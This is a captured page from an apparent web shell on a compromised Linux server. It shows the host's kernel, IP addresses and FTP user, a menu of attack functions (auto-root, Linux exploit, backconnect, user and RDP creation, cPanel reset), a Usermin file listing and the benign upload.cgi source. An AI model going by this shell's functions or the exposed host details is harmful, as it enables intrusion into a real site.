Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.213
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
usermin /
filemin /
[ HOME SHELL ]
Name
Size
Permission
Action
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
lib
[ DIR ]
drwxr-xr-x
unauthenticated
[ DIR ]
drwxr-xr-x
CHANGELOG
9.22
KB
-rw-r--r--
acl_security.pl
2.26
KB
-rw-r--r--
bookmark.cgi
326
B
-rwxr-xr-x
chattr.cgi
1007
B
-rwxr-xr-x
chcon.cgi
979
B
-rwxr-xr-x
chmod.cgi
2.42
KB
-rwxr-xr-x
chown.cgi
983
B
-rwxr-xr-x
compress.cgi
750
B
-rwxr-xr-x
config
20
B
-rw-r--r--
config.cgi
2.27
KB
-rwxr-xr-x
config.info
172
B
-rw-r--r--
config.info.ar
97
B
-rw-r--r--
config.info.ca
52
B
-rw-r--r--
config.info.de
61
B
-rw-r--r--
config.info.fr
60
B
-rw-r--r--
config.info.it
199
B
-rw-r--r--
copy.cgi
362
B
-rwxr-xr-x
create_file.cgi
559
B
-rwxr-xr-x
create_folder.cgi
550
B
-rwxr-xr-x
cut.cgi
361
B
-rwxr-xr-x
defaultacl
373
B
-rw-r--r--
defaultuconf
124
B
-rw-r--r--
delete.cgi
352
B
-rwxr-xr-x
download.cgi
765
B
-rwxr-xr-x
edit_file.cgi
1.77
KB
-rwxr-xr-x
extract.cgi
1.49
KB
-rwxr-xr-x
filemin-lib.pl
23.09
KB
-rw-r--r--
http_download.cgi
1.34
KB
-rwxr-xr-x
index.cgi
3.29
KB
-rwxr-xr-x
module.info
137
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
112
B
-rw-r--r--
module.info.ar
116
B
-rw-r--r--
module.info.ar.auto
32
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
137
B
-rw-r--r--
module.info.bg
0
B
-rw-r--r--
module.info.bg.auto
164
B
-rw-r--r--
module.info.ca
89
B
-rw-r--r--
module.info.ca.auto
24
B
-rw-r--r--
module.info.cs
0
B
-rw-r--r--
module.info.cs.auto
115
B
-rw-r--r--
module.info.da
0
B
-rw-r--r--
module.info.da.auto
101
B
-rw-r--r--
module.info.de
88
B
-rw-r--r--
module.info.de.auto
21
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
209
B
-rw-r--r--
module.info.es
0
B
-rw-r--r--
module.info.es.auto
140
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
131
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
137
B
-rw-r--r--
module.info.fi
0
B
-rw-r--r--
module.info.fi.auto
110
B
-rw-r--r--
module.info.fr
0
B
-rw-r--r--
module.info.fr.auto
136
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
125
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
118
B
-rw-r--r--
module.info.hu
0
B
-rw-r--r--
module.info.hu.auto
109
B
-rw-r--r--
module.info.it
104
B
-rw-r--r--
module.info.ja
0
B
-rw-r--r--
module.info.ja.auto
137
B
-rw-r--r--
module.info.ko
0
B
-rw-r--r--
module.info.ko.auto
118
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
122
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
125
B
-rw-r--r--
module.info.ms
0
B
-rw-r--r--
module.info.ms.auto
113
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
120
B
-rw-r--r--
module.info.nl
0
B
-rw-r--r--
module.info.nl.auto
108
B
-rw-r--r--
module.info.no
22
B
-rw-r--r--
module.info.no.auto
75
B
-rw-r--r--
module.info.pl
0
B
-rw-r--r--
module.info.pl.auto
115
B
-rw-r--r--
module.info.pt
0
B
-rw-r--r--
module.info.pt.auto
133
B
-rw-r--r--
module.info.pt_BR
0
B
-rw-r--r--
module.info.pt_BR.auto
142
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
120
B
-rw-r--r--
module.info.ru
0
B
-rw-r--r--
module.info.ru.auto
194
B
-rw-r--r--
module.info.sk
0
B
-rw-r--r--
module.info.sk.auto
126
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
118
B
-rw-r--r--
module.info.sv
0
B
-rw-r--r--
module.info.sv.auto
99
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
228
B
-rw-r--r--
module.info.tr
0
B
-rw-r--r--
module.info.tr.auto
121
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
188
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
145
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
139
B
-rw-r--r--
module.info.zh
0
B
-rw-r--r--
module.info.zh.auto
101
B
-rw-r--r--
module.info.zh_TW
0
B
-rw-r--r--
module.info.zh_TW.auto
110
B
-rw-r--r--
paste.cgi
1.23
KB
-rwxr-xr-x
prefs.info
10
B
-rw-r--r--
rename.cgi
431
B
-rwxr-xr-x
safeacl
50
B
-rw-r--r--
save_config.cgi
858
B
-rwxr-xr-x
save_file.cgi
705
B
-rwxr-xr-x
search.cgi
572
B
-rwxr-xr-x
upload.cgi
5.23
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : upload.cgi
#!/usr/bin/perl require './filemin-lib.pl'; use Cwd 'abs_path'; &ReadParse(\%in, "GET"); get_paths(); my @errors; my @uploaded_files; my $uploaded_dir; $line = ""; # Use Webmin's callback function to track progress $cbfunc = \&read_parse_mime_callback; # Get multipart form boundary $ENV{'CONTENT_TYPE'} =~ /boundary=(.*)$/ || &error($text{'readparse_enc'}); $boundary = $1; # Initialize progress tracker &$cbfunc(0, $ENV{'CONTENT_LENGTH'}, undef, $in{'id'}); #Read the data MAINLOOP: while(index($line,"$boundary--") == -1) { # Reset vars on each loop $file = undef; $rest = undef; $prevline = undef; $header = undef; $line = <STDIN>; $got += length($line); if ($upload_max && $got > $upload_max) { &error(&text('error_upload_emax', &nice_size($upload_max))); } &$cbfunc($got, $ENV{'CONTENT_LENGTH'}, undef, $in{'id'}); if ($line =~ /(\S+):\s*form-data(.*)$/) { $rest = $2; # We found form data definition, let`s check it } else { next; } # Check if current form data part is file while ($rest =~ /([a-zA-Z]*)=\"([^\"]*)\"(.*)/) { if ($1 eq 'filename') { $file = $2; } $rest = $3; } if (defined($file)) { my @st = stat($cwd); # If we have a dir, parse it and create a sub-tree first if ($file =~ /\//) { my ($dir) = $file =~ /^(.*)\/[^\/]+$/; if ($dir) { my @dirs = split('/', $dir); $dir = '/'; # If overwriting is not allowed check for dupes if (!$in{'overwrite_existing'}) { if ($dirs[0] && -e "$cwd/$dirs[0]") { # As only one directory upload at a time allowed # check if parent exists and if it does add # predictable suffix, like `dir(1)` or `dir(2)` if (!$uploaded_dir) { my $__ = 1; for (;;) { my $new_dir_name = "$dirs[0](" . $__++ . ")"; if (!-e "$cwd/$new_dir_name") { $uploaded_dir = $new_dir_name; last; } } } } else { $uploaded_dir = $dirs[0]; } $file =~ s/^(\Q$dirs[0]\E)/$uploaded_dir/; $dirs[0] = $uploaded_dir; } foreach my $updir (@dirs) { $dir .= "$updir/"; if (!-e "$cwd$dir") { mkdir("$cwd$dir"); &set_ownership_permissions($st[4], $st[5], undef, "$cwd$dir"); } } } } # In case of a regular file check for dupes if (!$in{'overwrite_existing'}) { if ($file && -e "$cwd/$file") { # If file exists add predictable suffix, like `file(1)` or `file(2)` my ($file_name, $file_extension) = $file =~ /(?|(.*)\.((?|tar|wbm|wbt)\..*)|(.*)\.([a-zA-Z]+\.(?|gpg|pgp))|(.*)\.(?=(.*))|(.*)())/; $file_extension = ".$file_extension" if ($file_extension); my $__ = 1; for (;;) { my $new_file_name = "$file_name(" . $__++ . ")"; if (!-e "$cwd/$new_file_name$file_extension") { $file = "$new_file_name$file_extension"; last; } } } } # OK, we have a file, let`s save it my $full = "$cwd/$file"; my $newfile = !-e $full; if (!open(OUTFILE, ">$full")) { push @errors, "$text{'error_opening_file_for_writing'} $path/$file - $!"; next; } else { binmode(OUTFILE); if ($newfile) { # Copy ownership from parent dir &set_ownership_permissions($st[4], $st[5], undef, $full); } # Skip "content-type" as we work in binmode anyway and # skip empty line <STDIN>; <STDIN>; # Read all lines until next boundary or form data end while(1) { $line = <STDIN>; if (!defined($line)) { push @errors, "Unexpected end of input"; last MAINLOOP; } # Inform progress tracker about our actions $got += length($line); &$cbfunc($got, $ENV{'CONTENT_LENGTH'}, $file, $in{'id'}); # Some brainf###ing to deal with last CRLF if (index($line,"$boundary") != -1 || index($line,"$boundary--") != -1) { chop($prevline); chop($prevline); if (!print OUTFILE $prevline) { push @errors, "text{'error_writing_file'} $path/$file"; last MAINLOOP; } last; } else { if (!print OUTFILE $prevline) { push @errors, "text{'error_writing_file'} $path/$file"; last MAINLOOP; } $prevline = $line; } } # File saved, let`s go further close(OUTFILE); # Store which file were uploaded my $fpath = $cwd; my $ffile = $file; my @subdirs = split('/', $ffile); if (@subdirs > 1) { $ffile = pop(@subdirs); $fpath .= ("/" . join('/', @subdirs)); } push(@uploaded_files, {'path' => $fpath, 'file' => $ffile}); } } else { # Just skip everything until next boundary or form end while (index($line, "$boundary") == -1 || index($line, "$boundary--") == -1) { $line = <STDIN>; } } } # Extract and delete uploaded files if ($in{'extract_uploaded'}) { my @eerrors = &extract_files(\@uploaded_files, 1); @errors = (@eerrors, @errors) if (@eerrors); } # Everything finished, inform progress tracker &$cbfunc(-1, $ENV{'CONTENT_LENGTH'}, undef, $in{'id'}); if (scalar(@errors) > 0) { print_errors(@errors); } else { &redirect("index.cgi?path=".&urlize($path)); }
Close
